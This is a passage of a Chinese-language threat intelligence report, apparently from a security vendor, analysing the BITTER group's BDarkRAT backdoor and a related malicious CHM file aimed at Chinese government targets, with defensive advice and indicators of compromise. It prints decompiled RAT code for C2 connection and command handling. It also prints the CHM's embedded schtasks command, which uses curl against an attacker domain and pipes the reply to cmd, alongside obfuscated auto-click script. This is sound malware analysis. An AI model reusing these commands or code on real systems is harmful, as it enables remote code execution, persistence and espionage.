vfghfgjgkiygkjhkhjgkllprocessor.registerMessage(new vfghfgjgkiygkjhkhjgkllprocessor.MessageType("13", 19, typeof(drawon_deletefile)));
vfghfgjgkiygkjhkhjgkllprocessor.registerMessage(new vfghfgjgkiygkjhkhjgkllprocessor.MessageType("14", 20, typeof(drawon_ScreenCapture)));
vfghfgjgkiygkjhkhjgkllprocessor.registerMessage(new vfghfgjgkiygkjhkhjgkllprocessor.MessageType("15", 21, typeof(drawon_folderdetailcount)));
vfghfgjgkiygkjhkhjgkllprocessor.registerMessage(new vfghfgjgkiygkjhkhjgkllprocessor.MessageType("16", 22, typeof(drawon_stopfiledownloading)));
vfghfgjgkiygkjhkhjgkllprocessor.registerMessage(new vfghfgjgkiygkjhkhjgkllprocessor.MessageType("17", 23, typeof(drawon_startshellwithpath)));
vfghfgjgkiygkjhkhjgkllprocessor.registerMessage(new vfghfgjgkiygkjhkhjgkllprocessor.MessageType("18", 24, typeof(drawon_SearchFileExtension)));
vfghfgjgkiygkjhkhjgkllprocessor.registerMessage(new vfghfgjgkiygkjhkhjgkllprocessor.MessageType("19", 25, typeof(drawon_ScreenCaptureLive)));
vfghfgjgkiygkjhkhjgkllprocessor.registerMessage(new vfghfgjgkiygkjhkhjgkllprocessor.MessageType("21", 33, typeof(drawon_ReceiveNewInfo)));
vfghfgjgkiygkjhkhjgkllprocessor.registerMessage(new vfghfgjgkiygkjhkhjgkllprocessor.MessageType("20", 32, typeof(drawon_ScreenCaptureLiveStop)));
vfghfgjgkiygkjhkhjgkllprocessor.registerMessage(new vfghfgjgkiygkjhkhjgkllprocessor.MessageType("24", 36, typeof(drawon_StartPS)));
vfghfgjgkiygkjhkhjgkllprocessor.registerMessage(new vfghfgjgkiygkjhkhjgkllprocessor.MessageType("23", 35, typeof(drawon_powercommand)));
vfghfgjgkiygkjhkhjgkllprocessor.registerMessage(new vfghfgjgkiygkjhkhjgkllprocessor.MessageType("25", 37, typeof(drawon_ReceiveNoInfo)));
}
恶意程序通过内置解密算法还原C2服务器通信配置,获取目标控制域名wmiapcservice.com
和通信端口40269
。随后程序主动发起DNS查询请求,将域名解析为IP地址46.229.55.30
,并持续尝试与该C2服务器建立TCP连接。
vfgfhdrggfdhgjjfhj.clntsocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
if (!vfgfhdrggfdhgjjfhj.clntsocket.Connected)
{
do
{
try
{
IPAddress[] addressList = Dns.GetHostEntry(kuiliolyurtyurtyyyyyy5675.Decrypt(kuiliolyurtyurtyyyyyy5675.domain)).AddressList;
int num1 = 0;
while (num1 < (int)addressList.Length)
{
IPAddress pAddress = addressList[num1];
if (pAddress.AddressFamily != AddressFamily.InterNetwork)
{
num1++;
}
else
{
kuiliolyurtyurtyyyyyy5675.cip = pAddress.ToString();
break;
}
}
}
catch (Exception exception2)
{
Thread.Sleep(this.rand.Next(1, 4) * 1000);
continue;
}
Thread.Sleep(this.rand.Next(1, 5) * 1000);
try
{
if (!string.IsNullOrEmpty(kuiliolyurtyurtyyyyyy5675.cip))
{
vfgfhdrggfdhgjjfhj.clntsocket.Connect(IPAddress.Parse(kuiliolyurtyurtyyyyyy5675.cip), kuiliolyurtyurtyyyyyy5675.cport);
}
}
catch (Exception exception3)
{
}
}
while (!vfgfhdrggfdhgjjfhj.clntsocket.Connected);
}
值得留意的是,这个域名同样出现在了友商奇安信去年10月发布的一篇蔓灵花
组织的分析报告中。
连接成功后接收服务器指令并调用相应功能类,接着回传本机计算机名和用户名。
this.Read();
this.sendmessage(new helifo_newMe(this));
private void Read()
{
try
{
this.buffer = new byte[4];
vfgfhdrggfdhgjjfhj.clntsocket.BeginReceive(this.buffer, 0, this.buffer.Length, SocketFlags.Partial, new AsyncCallback(this.Client_BeginReceive),null);
}
catch (Exception)
{
this.hjhhjgkjkgh();
}
}
public void sendmessage(retreyruytiuyiGiveMessages msgg)
{
lock (this)
{
msgg.Write();
byte[] array = msgg.ToByteArray();
if (array.Length <= 61440000)
{
List<byte> list = new List<byte>();
list.AddRange(BitConverter.GetBytes(array.Length + 4));
list.AddRange(array);
try
{
vfgfhdrggfdhgjjfhj.clntsocket.Send(list.ToArray());
}
catch (Exception)
{
}
}
}
}
本次捕获的BDarkRAT
支持的功能列表如下所示:
类名 | 功能 |
---|---|
drawon_Drives | 遍历获取驱动器信息 |
drawon_filechangebegin | 根据文件变化,如文件添加与重命名。对字典中指定ID的文件信息进行修改 |
drawon_changeSend | 处理文件信息修改 |
drawon_changeend | 从字典中移除指定ID的文件信息 |
drawon_facts | 未实现 |
drawon_startcommand | 启动cmd |
drawon_Shell | 写数据至管道并读取处理管道的输出 |
drawon_Stopcmd | 未实现 |
drawon_RefreshClient | 客户端刷新 |
drawon_changestart | 文件上传 |
drawon_copyme | 文件复制 |
drawon_deletefile | 文件删除 |
drawon_ScreenCapture | 屏幕截图 |
drawon_folderdetailcount | 获取指定目录及其子目录的文件和文件夹详情 |
drawon_stopfiledownloading | 设置标志位,停止文件上传 |
drawon_startshellwithpath | 启动一个指定路径的命令行shell |
drawon_SearchFileExtension | 根据指定的目录和文件扩展名查找文件 |
drawon_ScreenCaptureLive | 实时屏幕截图 |
drawon_ScreenCaptureLiveStop | 停止实时屏幕截图 |
drawon_StartPS | 启动PowerShell |
drawon_powercommand | 获取并处理命令请求 |
drawon_ReceiveNewInfo | (新增)获取用户名、计算机名、系统版本和位数、当前程序运行路径 |
drawon_ReceiveNoInfo | (新增)断开与C2服务的连接,并退出程序 |
关联分析
在分析此次攻击事件的过程中,我们同时发现了一个来自巴基斯坦的关联样本,该样本以RAR压缩包形式进行分发,内部同样包含恶意CHM文档。通过深度技术分析发现,该CHM文档内嵌的恶意HTML文件在代码结构、执行逻辑和攻击手法方面与本次事件样本高度一致,均采用了相同的HTML实体编码混淆技术、点击劫持机制以及计划任务持久化策略。这种跨地域的战术技法(TTP)一致性为我们提供了强有力的归因证据,进一步确认此次针对中国政府部门的攻击活动确实由BITTER组织策划实施,体现了该组织在南亚及周边地区开展网络间谍活动的区域性特征和持续威胁能力。
关联CHM文件分析
字段 | 内容 |
---|---|
原始文件名 | National CERT Summer Internship Program.chm |
文件大小 | 12KB |
文件MD5 | f5df3009932a22d5a16dc32c349ee9b5 |
文件类型 | CHM文档 |
病毒名 | Trojan.MouseJack/HTML!1.BE26 |
主要功能 | 创建计划任务 |
<OBJECT id=zokred classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=0 height=0>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value=",conhost.exe, --headless cmd /c schtasks /create /f /tn WindowsTaskbarTrayUpdater1.2.1.1 /sc minute /mo 19 /tr "conhost --headless cmd /v:on /c set m=htt&set n=://& set o=p&set p=miniclub.com&set q=www.carl&set 12=!m!!o!!n!!q!!p!& curl !12!/chis.php?ed=%username: =_%00%computername:~0,15%|cmd"">
<PARAM name="Item3" value="273,1,1">
</OBJECT>
<SCRIPT>
var _0x4ebe8b=_0x4c05;(function(_0x1bb196,_0x10a26c){var _0x39a260=_0x4c05,_0x4c6249=_0x1bb196();while(!![]){try{var _0x1564cd=-parseInt(_0x39a260(0x132))/0x1+parseInt(_0x39a260(0x12f))/0x2*(-parseInt(_0x39a260(0x134))/0x3)+-parseInt(_0x39a260(0x12c))/0x4+-parseInt(_0x39a260(0x130))/0x5+parseInt(_0x39a260(0x133))/0x6+parseInt(_0x39a260(0x131))/0x7*(-parseInt(_0x39a260(0x12d))/0x8)+parseInt(_0x39a260(0x135))/0x9;if(_0x1564cd===_0x10a26c)break;else _0x4c6249['push'](_0x4c6249['shift']());}catch(_0x1f4697){_0x4c6249['push'](_0x4c6249['shift']());}}}(_0x5886,0x4d44a),zokred[_0x4ebe8b(0x12e)]());function _0x4c05(_0x3848ff,_0x29115c){var _0x5886a3=_0x5886();return _0x4c05=function(_0x4c0515,_0x4e7752){_0x4c0515=_0x4c0515-0x12c;var _0x1f3ddf=_0x5886a3[_0x4c0515];return _0x1f3ddf;},_0x4c05(_0x3848ff,_0x29115c);}function _0x5886(){var _0x18b2d8=['2093644WYLjvB','102213RJytnZ','3565368vOtujx','1717350ovRZGj','7695927GTBKVv','85544TYkGQE','8clYBsB','Click','2nkUGVB','688500zfeIOV'];_0x5886=function(){return _0x18b2d8;};return _0x5886();}
</SCRIPT>
该恶意代码通过创建名为WindowsTaskbarTrayUpdater1.2.1.1
的计划任务实现持久化驻留,每19分钟向C2地址hxxp://www.carlminiclub.com/chis.php?ed={空格替换为下划线后的用户名}00{计算机名的前15字节}
发起一次请求,将获取指令通过管道传递给CMD执行。
攻击过程可视化(EDR)
基于瑞星EDR终端检测与响应平台的实时监控数据,通过威胁行为可视化分析功能,完整还原了本次APT攻击的执行过程和关联关系。可视化图表清晰展示了攻击活动中的进程执行树、以及计划任务的创建。
总结
APT攻击有着针对性强、组织严密、持续时间长、高隐蔽性和间接攻击的显著特征,针对的目标都是具有重大信息资产,如国家军事、情报、战略部门和影响国计民生的行业如金融、能源等,国内相关政府机构和企业单位务必要引起重视,加强防御措施。
预防措施
-
不打开可疑文件。
不打开未知来源的可疑的文件和邮件,防止社会工程学和钓鱼攻击。
-
部署网络安全态势感知、预警系统等网关安全产品。
网关安全产品可利用威胁情报追溯威胁行为轨迹,帮助用户进行威胁行为分析、定位威胁源和目的,追溯攻击的手段和路径,从源头解决网络威胁,最大范围内发现被攻击的节点,帮助企业更快响应和处理。
-
安装有效的杀毒软件,拦截查杀恶意文档和木马病毒。
杀毒软件可拦截恶意文档和木马病毒,如果用户不小心下载了恶意文件,杀毒软件可拦截查杀,阻止病毒运行,保护用户的终端安全。
瑞星ESM目前已经可以检出此次攻击事件的相关样本
- 及时修补系统补丁和重要软件的补丁。
沦陷信标(IOC)
-
MD5
6f85990541d45f92df2eeac0e6cd9e13 dc1d4ce18451945cfd8b5a4092f4e458 0f10f3894d6ec1e9e74ee0506fe1a690 f5df3009932a22d5a16dc32c349ee9b5
-
Domain
pindinservices.com northernbarnhouse.com wmiapcservice.com carlminiclub.com
-
URL
hxxps://www.pindinservices.com/koteg.php?uic=%computername:~0,15% hxxp://www.carlminiclub.com/chis.php?ed=%username: =_%00%computername:~0,15% hxxp://jacknwoods.com/winsec.msi
-
IPV4
46.229.55.30
-
瑞星病毒名
Backdoor.[Bitter]MiyaRat!1.12ED3 Backdoor.[Bitter]Agent!1.10493